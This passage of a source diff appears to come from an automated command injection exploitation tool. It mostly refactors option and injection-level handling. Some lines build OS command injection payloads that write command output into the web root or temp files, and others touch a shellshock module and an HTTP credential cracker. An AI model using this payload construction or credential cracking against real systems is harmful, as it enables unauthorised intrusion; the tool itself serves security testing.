settings.USER_APPLIED_CMD = cmd if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index b2d87a43a0..a705755b7e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -85,7 +85,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): "\"') do @set /p = %i " + settings.CMD_NUL ) else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_APPLIED_CMD = cmd payload = (separator + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + separator diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 5814e16373..b46ceb3806 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -211,7 +211,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : payload = (separator + "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + diff --git a/src/core/main.py b/src/core/main.py index c12e8f2b9b..b6039f29e9 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -64,7 +64,7 @@ """ Define HTTP User-Agent header. """ -def defined_http_headers(): +def defined_http_headers(url): def extra_headers(): if any((menu.options.header, menu.options.headers)): settings.EXTRA_HTTP_HEADERS = True @@ -77,12 +77,17 @@ def cookie(): debug_msg = "Setting the HTTP " + settings.COOKIE + " header." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - def referer(): + def referer(url): + if menu.options.referer is None: + if menu.options.level and int(menu.options.level) == settings.HTTP_HEADER_INJECTION_LEVEL: + menu.options.referer = _urllib.parse.urljoin(url, _urllib.parse.urlparse(url).path) if menu.options.referer and settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP " + settings.REFERER + " header." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - def host(): + def host(url): + if menu.options.host is None: + menu.options.host = _urllib.parse.urlparse(url).netloc if menu.options.host and settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP " + settings.HOST + " header." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) @@ -124,8 +129,8 @@ def user_agent(): extra_headers() cookie() - referer() - host() + referer(url) + host(url) user_agent() @@ -194,7 +199,7 @@ def init_request(url, http_request_method): if menu.options.timeout: settings.TIMEOUT = menu.options.timeout # Define HTTP headers - defined_http_headers() + defined_http_headers(url) # Check the internet connection (--check-internet switch). if menu.options.check_internet: check_internet(url) @@ -243,15 +248,15 @@ def url_response(url, http_request_method): if redirect_url is not None: url = redirect_url if not menu.options.skip_waf: + settings.COOKIE_INJECTION = None settings.WAF_DETECTION_PHASE = True waf_request, waf_url = checks.check_waf(url, http_request_method) - headers.do_check(waf_request) examine_request(waf_request, waf_url) settings.WAF_DETECTION_PHASE = False return response, url """ -Injection states initiation. +Initializing injection status. """ def init_injection(url): if settings.VERBOSITY_LEVEL != 0: @@ -337,13 +342,24 @@ def main(filename, url, http_request_method): if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True + if menu.options.flush_session: + session_handler.flush(url) + url = check_value_inside_boundaries(url, http_request_method) - # if settings.CUSTOM_INJECTION_MARKER and settings.MULTI_TARGETS or settings.STDIN_PARSING: - # settings.CUSTOM_INJECTION_MARKER = False + if menu.options.level: + settings.INJECTION_LEVEL = int(menu.options.level) + else: + settings.INJECTION_LEVEL = settings.DEFAULT_INJECTION_LEVEL + + if menu.options.level and settings.INJECTION_LEVEL >= settings.DEFAULT_INJECTION_LEVEL: + settings.USER_APPLIED_LEVEL = settings.INJECTION_LEVEL + + if not settings.USER_APPLIED_LEVEL : + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = session_handler.applied_levels(url, http_request_method) # Define the level of tests to perform. - if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: + if settings.INJECTION_LEVEL == settings.DEFAULT_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index) @@ -351,7 +367,7 @@ def main(filename, url, http_request_method): settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index) settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL1), key=settings.EVAL_SEPARATORS_LVL1.index) settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL1), key=settings.EXECUTION_FUNCTIONS_LVL1.index) - elif menu.options.level == settings.COOKIE_INJECTION_LEVEL: + elif settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index) @@ -359,7 +375,7 @@ def main(filename, url, http_request_method): settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index) settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL2), key=settings.EVAL_SEPARATORS_LVL2.index) settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL2), key=settings.EXECUTION_FUNCTIONS_LVL2.index) - elif menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL: + elif settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index) @@ -381,7 +397,7 @@ def main(filename, url, http_request_method): err_msg = "The options '-p' and '--skip' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit + raise SystemExit() if menu.options.ignore_session: # Ignore session @@ -394,36 +410,26 @@ def main(filename, url, http_request_method): if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel - if not menu.options.ignore_session and not menu.options.flush_session: - if session_handler.applied_techniques(url, http_request_method): - if not menu.options.tech: - menu.options.tech = session_handler.applied_techniques(url, http_request_method) - else: - settings.USER_SUPPLIED_TECHNIQUE = True - else: - menu.options.tech = list(menu.options.tech.lower()) - _ = {settings.AVAILABLE_TECHNIQUES[i] : i for i in range(len(settings.AVAILABLE_TECHNIQUES))} - try: - menu.options.tech.sort(key=lambda x:_[x]) - except KeyError: - pass - menu.options.tech = ''.join(menu.options.tech) + if menu.options.tech and settings.USER_APPLIED_TECHNIQUE != None: + settings.USER_APPLIED_TECHNIQUE = True else: - if not menu.options.tech: - menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) + settings.USER_APPLIED_TECHNIQUE = None + if len(session_handler.applied_techniques(url, http_request_method)) != 0: + settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) + menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES else: - settings.USER_SUPPLIED_TECHNIQUE = True + menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) # Check for skipping injection techniques. if menu.options.skip_tech: # Convert injection technique(s) to lowercase menu.options.skip_tech = menu.options.skip_tech.lower() settings.SKIP_TECHNIQUES = True - if settings.USER_SUPPLIED_TECHNIQUE: + if settings.USER_APPLIED_TECHNIQUE: err_msg = "The options '--technique' and '--skip-technique' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit + raise SystemExit() else: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) for skip_tech_name in settings.AVAILABLE_TECHNIQUES: @@ -432,7 +438,7 @@ def main(filename, url, http_request_method): if len(menu.options.tech) == 0: err_msg = "Detection procedure was aborted due to skipping all injection techniques." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit + raise SystemExit() # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: @@ -467,11 +473,6 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - if not menu.options.tech: - menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) - else: - settings.USER_SUPPLIED_TECHNIQUE = True - # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: @@ -493,13 +494,12 @@ def main(filename, url, http_request_method): else: username = "" password = menu.options.auth_cred - session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \ - admin_panel=url, username=username, \ - password=password - ) + if not settings.LOAD_SESSION: + session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \ + admin_panel=url, username=username, \ + password=password + ) try: - if menu.options.flush_session: - session_handler.flush(url) # Check for CGI scripts on url checks.check_CGI_scripts(url) # Check if defined "--file-upload" option. @@ -543,7 +543,7 @@ def main(filename, url, http_request_method): pass # Load tamper scripts if menu.options.tamper: - settings.USER_SUPPLIED_TAMPER = menu.options.tamper + settings.USER_APPLIED_TAMPER = menu.options.tamper checks.tamper_scripts(stored_tamper_scripts=False) except AttributeError: @@ -793,11 +793,11 @@ def main(filename, url, http_request_method): while True: message = "Enter injection level (--level) [1-3, Default: 1] > " if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.print_message(message + str(menu.options.level))) + settings.print_data_to_stdout(settings.print_message(message + str(settings.INJECTION_LEVEL))) break try: - menu.options.level = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) - if menu.options.level > int(settings.HTTP_HEADER_INJECTION_LEVEL): + settings.INJECTION_LEVEL = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) + if settings.INJECTION_LEVEL > int(settings.HTTP_HEADER_INJECTION_LEVEL): pass else: break @@ -856,9 +856,6 @@ def main(filename, url, http_request_method): # Check provided parameters for tests checks.check_provided_parameters() - if menu.options.level != settings.DEFAULT_INJECTION_LEVEL: - settings.USER_SUPPLIED_LEVEL = menu.options.level - # Define the local path where Metasploit Framework is installed. if menu.options.msf_path: settings.METASPLOIT_PATH = menu.options.msf_path @@ -915,13 +912,13 @@ def main(filename, url, http_request_method): if not os.path.exists(bulkfile): err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + elif os.stat(bulkfile).st_size == 0: err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + else: settings.MULTI_TARGETS = True with open(menu.options.bulkfile) as f: @@ -1019,8 +1016,9 @@ def main(filename, url, http_request_method): if url == clean_output_href[-1]: settings.EOF = True # Reset the injection level - if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL: - menu.options.level = 1 + if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL: + settings.INJECTION_LEVEL = 1 + menu.options.url = url init_injection(url) try: response, url = url_response(url, http_request_method) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 71113c0735..c7b3fd67e7 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -440,9 +440,6 @@ def shellshock_handler(url, http_request_method, filename): break if go_back and go_back_again: return True - # else: - # logs.logs_notification(filename) - # return True else: shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell != "": diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 2336a18190..33d57107bd 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -176,9 +176,6 @@ def http_auth_cracker(url, realm, http_request_method): if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: proxy.use_proxy(request) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - # Store valid results to session - admin_panel = url - session_handler.import_valid_credentials(url, authentication_type, admin_panel, username, password) found = True except KeyboardInterrupt : raise @@ -200,11 +197,12 @@ def http_auth_cracker(url, realm, http_request_method): settings.print_data_to_stdout("\r\r" + settings.print_info_msg(info_msg)) if found: + if not settings.LOAD_SESSION: + session_handler.import_valid_credentials(url, authentication_type, url, username, password) valid_pair = "" + username + ":" + password + "" if not settings.VERBOSITY_LEVEL >= 2: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Identified a valid pair of HTTP authentication credentials: '" - info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." + info_msg = "Identified a valid pair of credentials: '" + valid_pair + "'." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) return valid_pair diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index dc08d23916..f93cd7255a 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -166,7 +166,7 @@ def https_open(self, req): if settings.MULTI_TARGETS: if settings.INIT_TEST == True and len(settings.MULTI_ENCODED_PAYLOAD) != 0: settings.MULTI_ENCODED_PAYLOAD = [] - menu.options.tamper = settings.USER_SUPPLIED_TAMPER + menu.options.tamper = settings.USER_APPLIED_TAMPER try: response = opener.open(request, timeout=settings.TIMEOUT) _ = True @@ -269,20 +269,20 @@ def https_open(self, req): def do_check(request): # Check if defined any Cookie HTTP header. - if menu.options.cookie and settings.COOKIE_INJECTION == None: - request.add_header(settings.COOKIE, menu.options.cookie) + if menu.options.cookie and not settings.COOKIE_INJECTION: + request.add_header(settings.COOKIE, checks.remove_tags(menu.options.cookie)) # Check if defined any User-Agent HTTP header. - if menu.options.agent and settings.USER_AGENT_INJECTION == None: - request.add_header(settings.USER_AGENT, menu.options.agent) + if menu.options.agent and not settings.USER_AGENT_INJECTION: + request.add_header(settings.USER_AGENT, checks.remove_tags(menu.options.agent)) # Check if defined any Referer HTTP header. - if menu.options.referer and settings.REFERER_INJECTION == None: - request.add_header(settings.REFERER, menu.options.referer) + if menu.options.referer and not settings.REFERER_INJECTION: + request.add_header(settings.REFERER, checks.remove_tags(menu.options.referer)) # Check if defined any Host HTTP header. - if menu.options.host and settings.HOST_INJECTION == None: - request.add_header(settings.HOST, menu.options.host) + if menu.options.host and not settings.HOST_INJECTION: + request.add_header(settings.HOST, checks.remove_tags(menu.options.host)) if not checks.get_header(request.headers, settings.ACCEPT): request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE) @@ -396,7 +396,8 @@ def do_check(request): if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: if not settings.CUSTOM_HEADER_INJECTION: if settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value: - settings.CUSTOM_INJECTION_MARKER = True + settings.CUSTOM_HEADER_CHECK = http_header_name + # settings.CUSTOM_INJECTION_MARKER = True if http_header_name in settings.TESTABLE_PARAMETERS_LIST or settings.INJECT_TAG in http_header_value or settings.ASTERISK_MARKER in http_header_value: settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS = True @@ -404,10 +405,11 @@ def do_check(request): if len(http_header_name) != 0 and \ http_header_name + ": " + http_header_value not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and \ http_header_name + ": " + http_header_value not in settings.CUSTOM_HEADERS_NAMES: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(http_header_name) if http_header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.CUSTOM_HEADERS_NAMES.append(http_header_name + ": " + http_header_value) - http_header_value = http_header_value.replace(settings.INJECT_TAG,"").replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") + http_header_value = checks.remove_tags(http_header_value) request.add_header(http_header_name, http_header_value) - + if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE, settings.CUSTOM_HEADER_NAME]: request.add_header(http_header_name, http_header_value) except: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 50a56b6b20..cb0b594c22 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -48,7 +48,7 @@ def multi_params_get_value(parameter): return value if settings.CUSTOM_INJECTION_MARKER and settings.SKIP_NON_CUSTOM: - return False + return False if settings.USER_DEFINED_POST_DATA: if settings.CUSTOM_INJECTION_MARKER_CHAR in settings.USER_DEFINED_POST_DATA and settings.SKIP_NON_CUSTOM: @@ -63,16 +63,13 @@ def multi_params_get_value(parameter): settings.USER_DEFINED_URL_DATA = False if settings.INJECT_TAG not in url and not menu.options.shellshock: if len(settings.TESTABLE_PARAMETERS_LIST) != 0 or \ - menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or \ - menu.options.level == settings.COOKIE_INJECTION_LEVEL or \ + len(settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST) != 0 or \ + settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL or \ + (settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL and menu.options.cookie) or \ settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: return False else: - err_msg = "No parameter(s) found for testing in the provided data. " - if not menu.options.crawldepth: - err_msg += "You are advised to rerun with '--crawl=2'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.no_parameters_found() elif menu.options.shellshock: return False return [url] @@ -93,9 +90,10 @@ def multi_params_get_value(parameter): except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # Check for inappropriate format in provided parameter(s). - if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): - checks.inappropriate_format(multi_parameters) + + # if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): + if len([s for s in multi_parameters if "=" in s]) == 0: + checks.no_parameters_found() # Check for empty values (in provided parameters). if checks.is_empty(multi_parameters, http_request_method): @@ -197,7 +195,8 @@ def vuln_GET_param(url): try: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") @@ -320,11 +319,12 @@ def json_format(parameter): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # Check for inappropriate format in provided parameter(s). - if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ - not settings.IS_JSON and \ - not settings.IS_XML: - return "" + # if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ + # not settings.IS_JSON and \ + # not settings.IS_XML: + # return "" + if len([s for s in multi_parameters if "=" in s]) == 0 and not any((settings.IS_JSON, settings.IS_XML)): + checks.no_parameters_found() _ = [] _.append(parameter) @@ -464,6 +464,8 @@ def vuln_POST_param(parameter, url): if settings.CUSTOM_INJECTION_MARKER: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + # settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[0] + # settings.POST_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1] # XML data format. elif settings.IS_XML: @@ -480,7 +482,8 @@ def vuln_POST_param(parameter, url): try: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = result.split(settings.INJECT_TAG)[0] @@ -497,7 +500,8 @@ def vuln_POST_param(parameter, url): try: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") @@ -514,41 +518,76 @@ def vuln_POST_param(parameter, url): Define the injection prefixes. """ def prefixes(payload, prefix): - if settings.COOKIE_INJECTION == True: - specify_cookie_parameter(menu.options.cookie) - elif settings.USER_AGENT_INJECTION == True: - specify_user_agent_parameter(menu.options.agent) - elif settings.REFERER_INJECTION == True: - specify_referer_parameter(menu.options.referer) - elif settings.HOST_INJECTION == True: - specify_host_parameter(menu.options.host) - elif settings.CUSTOM_HEADER_INJECTION == True: - specify_host_parameter("") - - # Check if defined "--prefix" option. - testable_value = settings.TESTABLE_VALUE + parameter = "" + if settings.COOKIE_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.cookie + specify_cookie_parameter(parameter) + if settings.CUSTOM_HEADER_INJECTION: + specify_custom_header_parameter(parameter) + elif settings.USER_AGENT_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.agent + specify_user_agent_parameter(parameter) + elif settings.REFERER_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.referer + specify_referer_parameter(parameter) + elif settings.HOST_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.host + specify_host_parameter(parameter) + + _ = True + pre_custom = settings.TESTABLE_VALUE if settings.CUSTOM_INJECTION_MARKER and len(settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) != 0: - testable_value = "" - if menu.options.prefix: - payload = testable_value + menu.options.prefix + prefix + payload - else: - payload = testable_value + prefix + payload + pre_custom = settings.PRE_CUSTOM_INJECTION_MARKER_CHAR + elif settings.IS_JSON or settings.LOAD_SESSION and not any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): + pre_custom = "" + _ = False + + if _: + if not pre_custom in prefix: + prefix = pre_custom + prefix + # Check if defined "--prefix" option. + if menu.options.prefix and not settings.LOAD_SESSION: + if not menu.options.prefix in prefix: + prefix = prefix + menu.options.prefix + + payload = prefix + payload + # Fixation for specific payload. + if ")%3B" + ")}" in payload: + payload = payload.replace(")%3B" + ")}", ")" + ")}") - return payload + return payload, prefix """ Define the injection suffixes. """ def suffixes(payload, suffix): - # Check if defined "--suffix" option. + if settings.COOKIE_INJECTION and suffix == settings.COOKIE_DELIMITER: suffix = "" - if menu.options.suffix: - payload = payload + suffix + menu.options.suffix - else: - payload = payload + suffix - return payload + _ = True + post_custom = "" + if settings.CUSTOM_INJECTION_MARKER and len(settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) != 0: + post_custom = settings.POST_CUSTOM_INJECTION_MARKER_CHAR + elif settings.IS_JSON or settings.LOAD_SESSION and not any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): + post_custom = "" + _ = False + + if _: + if not post_custom in suffix: + suffix = suffix + post_custom + # Check if defined "--suffix" option. + if menu.options.suffix and not settings.LOAD_SESSION: + if not menu.options.suffix in suffix: + suffix = menu.options.suffix + suffix + + payload = payload + suffix + + return payload, suffix """ The cookie based injection. @@ -570,9 +609,10 @@ def multi_params_get_value(parameter): except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # Check for inappropriate format in provided parameter(s). - if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): - checks.inappropriate_format(multi_parameters) + + # if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): + if len([s for s in multi_parameters if "=" in s]) == 0: + checks.no_parameters_found() _ = [] _.append(cookie) @@ -673,34 +713,54 @@ def specify_cookie_parameter(cookie): try: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") break else: vuln_parameter = cookie + return vuln_parameter """ The user-agent based injection. """ def specify_user_agent_parameter(user_agent): - settings.TESTABLE_VALUE = user_agent.replace(settings.INJECT_TAG, "") + header_name = settings.USER_AGENT + settings.TESTABLE_VALUE = checks.process_custom_injection_data(user_agent).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(user_agent) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] return user_agent """ The referer based injection. """ def specify_referer_parameter(referer): - settings.TESTABLE_VALUE = referer.replace(settings.INJECT_TAG, "") + header_name = settings.REFERER + settings.TESTABLE_VALUE = checks.process_custom_injection_data(referer).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(referer) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = 